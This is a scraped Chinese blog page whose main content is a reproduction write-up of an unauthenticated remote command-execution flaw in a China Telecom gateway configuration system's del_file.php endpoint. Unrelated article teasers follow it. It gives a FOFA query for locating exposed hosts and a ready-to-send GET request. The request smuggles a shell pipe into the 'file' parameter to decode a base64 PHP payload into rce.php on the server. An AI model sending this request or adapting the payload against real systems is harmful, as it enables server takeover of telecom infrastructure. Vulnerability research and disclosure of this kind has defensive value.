电信网关配置管理系统 del_file.php 前台RCE漏洞复现

0x01 产品简介

中国电信集团有限公司(英文名称“China Telecom”、简称“中国电信”)成立于2000年9月,是中国特大型国有通信企业、上海世博会全球合作伙伴。电信网关配置管理系统是一个用于管理和配置电信网络中网关设备的软件系统。它可以帮助网络管理员实现对网关设备的远程监控、配置、升级和故障排除等功能,从而确保网络的正常运行和高效性能。

0x02 漏洞概述

电信网关配置管理系统 /manager/newtpl/del_file.php 接口存在命令执行漏洞,未经身份验证的远程攻击者可以利用此漏洞执行任意代码,从而获取服务器权限。

0x03 复现环境

FOFA:body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=%20%7C%20base64%20-d%20%3E%20rce.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/26787.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【QML使用C++类与接口 1】

在QML中调用C接口是一个常见的需求,通常用于将高效的C逻辑与灵活的QML界面结合起来。QML和C的互操作性是通过Qt的元对象系统(Meta-Object System)和信号槽机制实现的。以下步骤详细说明了如何在QML中调用C接口。 步骤 1:创建 C 类…

感受光子芯片中试线,如何点亮未来计算与通信的革命之路(2024青岛智能装备与通信技术展)

光子芯片中试线:点亮未来计算与通信的革命之路 在新一代信息技术的浪潮中,光子芯片以其低能耗、高速度的特点备受瞩目。首条光子芯片中试线的建立,标志着我国在光电子领域的重大突破,同时也为即将到来的量子计算时代奠定了坚实基…

PCL 任意二维图像转点云

目录 一、概述二、代码实现三、结果展示本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、概述 给定任意一张图片,通过代码操作将图片转成点云。图像中包含大量可用信息,其中必不可少的信息为像素坐标和像素值,将像…

大模型辅助编程助手:『小浣熊 Raccoon』 如何使用?

认识 Raccoon Raccoon (Raccoon is Another Code CO-pilOt Navigator) 是基于 AI 的代码助手,是商汤科技发布基于商汤自研大语言模型的智能编程助手,代码小浣熊 Raccoon 支持 Python、Java、JavaScript、C、Go、SQL 等30主流编程语言和 VS Code、Intell…

什么?项目经理也算经理?

今天偶然看到一个有意思的问题:“如何破解项目经理的无权、无利、有责的现状”? 乍看有点费解,细想还挺有意思,这不禁引发了我的思考,项目经理到底算不算经理? 从管理学的角度来看,根据亨利法约…

端口镜像配置举例

1.网络拓扑 2.需求:用户希望通过server对部门1和部门2收发的报文进行监控。 3.配置步骤方案一: #创建本地镜像组 sysSystem View: return to User View with CtrlZ.[H3C]mirroring-group 1 local #为本地镜像组配置源端口和目的端口 [H3C]mirroring-gr…

.NET MAUI Sqlite数据库操作(二)异步初始化方法

一、异步初始化方法 private SQLiteAsyncConnection _database;public async Task Init() {if (_database ! null)return;var database new SQLiteAsyncConnection(Constants.DatabasePath, Constants.Flags);await database.CreateTableAsync<TodoItem>();await datab…

CV每日论文--2024.6.14

1、ICE-G: Image Conditional Editing of 3D Gaussian Splats 中文标题&#xff1a;ICE-G&#xff1a;3D 高斯斑点的图像条件编辑 简介&#xff1a;近年来,出现了许多技术来创建高质量的3D资产和场景。然而,当涉及到这些3D对象的编辑时,现有方法要么速度慢、要么牺牲质量,要么…

自动控制:基于预设性能控制(PPC)的控制系统设计

自动控制&#xff1a;基于预设性能控制&#xff08;PPC&#xff09;的控制系统设计 在控制系统设计中&#xff0c;瞬态性能与稳态性能同等重要。对于某些特殊的动态系统而言&#xff0c;瞬态性能甚至比稳态性能更为重要。预设性能控制&#xff08;Preset Performance Control,…

Python上下文管理器`with as`语句

引言 在Python中&#xff0c;with as语句提供了一种优雅的方式来处理资源管理&#xff0c;特别是对于需要清理或特定设置/恢复的场景。这种机制被称为上下文管理器&#xff0c;它允许代码块在执行前后自动执行一些操作。本文将深入探讨上下文管理器的底层原理和with as语句的用…

三极管的厄利效应(early effect)

詹姆斯M厄利(James M. Early)发现的现象&#xff0c;厄利效应&#xff08;英语&#xff1a;Early effect&#xff09;&#xff0c;又译厄尔利效应&#xff0c;也称基区宽度调制效应&#xff0c;是指当双极性晶体管&#xff08;BJT&#xff09;的集电极&#xff0d;射极电压VCE改…

精彩回顾!安全智能体的前沿技术研究与实践

&#xff08;关注“安全极客”&#xff0c;回复“智能体”下载第一期系列专题PPT&#xff01;&#xff09; 近日&#xff0c;安全极客和Wisemodel社区联合发起并主办了“AISecurity”系列第1期&#xff1a;大模型与网络空间安全前沿探索线下活动。在这次活动中&#xff0c;云起…

弹幕逆向signature、a_bogus

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 本文章未经许可禁止转载&a…

【Linux文件篇】磁盘到用户空间:Linux文件系统架构全景

W...Y的主页 &#x1f60a; 代码仓库分享 &#x1f495; 前言&#xff1a;我们前面的博客中一直提到的是被进程打开的文件&#xff0c;而系统中不仅仅只有被打开的文件还有很多没被打开的文件。如果没有被打开&#xff0c;那么文件是在哪里进行保存的呢?那我们又如何快速定位…

【Elasticsearch】索引快照并还原到其他集群

【Elasticsearch】索引快照并还原到其他集群 一、安装共享文件系统 1.启动nfs systemctl start nfs rpcbind2. 编辑nfs文件 vi /etc/exports /opt/public 192.168.113.0/24(rw,no_root_squash,insecure,sync) 3. 修改共享目录用户 比如elasticsearch使用的是es用户&#…

windows x86 的应用在 linux arm 上运行的可能性

政府部门国产化需要从windows过渡到麒麟银河的国产linux系统的背景会面临几个问题。 01.好多原生的windows应用没有及时替代。linux的开源或者一些品牌的linux系统的应用商店不能及时解决问题。 01.开发linux应用的人比较少的。 02.开发的速度也是跟不上的。 03.开发出来了…

【名词解释】Unity中的表格布局组件及其使用示例

Unity中的表格布局组件通常指的是GridLayoutGroup&#xff0c;这是一个在Unity的UI系统中用来布局子对象的组件。它可以帮助开发者将UI元素按照网格的形式进行排列&#xff0c;非常适合创建表格、网格视图等布局。 名词解释&#xff1a; GridLayoutGroup&#xff1a;Unity UI…

Unity 踩坑记录 用自定义类 创建的List不显示在 inspector面板

在 自定义类上面添加 【Serializable 】 扩展&#xff1a; 1&#xff1a;Serializable 序列化的是可序列化的类或结构。并且只能序列化非抽象非泛型的自定义的类 2&#xff1a;SerializeField是强制对私有字段序列化

判断IP地址是否与CIDR表示的96.32/12匹配

文章目录 概要IP地址IPv4地址IPv6地址 CIDR表示法CIDR表示法计算网络范围 例题 概要 IP地址 IP地址&#xff08;Internet Protocol Address&#xff09;是分配给每个联网设备的唯一标识符。IP地址主要有两种版本&#xff1a;IPv4和IPv6。 IPv4地址 格式&#xff1a;IPv4地址…

编程里什么是动态性能

编程里什么是动态性能 在编程领域&#xff0c;动态性能是一个复杂且引人入胜的概念&#xff0c;它涉及到程序的运行效率、资源利用、响应速度等多个层面。理解并优化动态性能对于提升程序的整体质量至关重要。本文将从四个方面、五个方面、六个方面和七个方面深入探讨编程中的…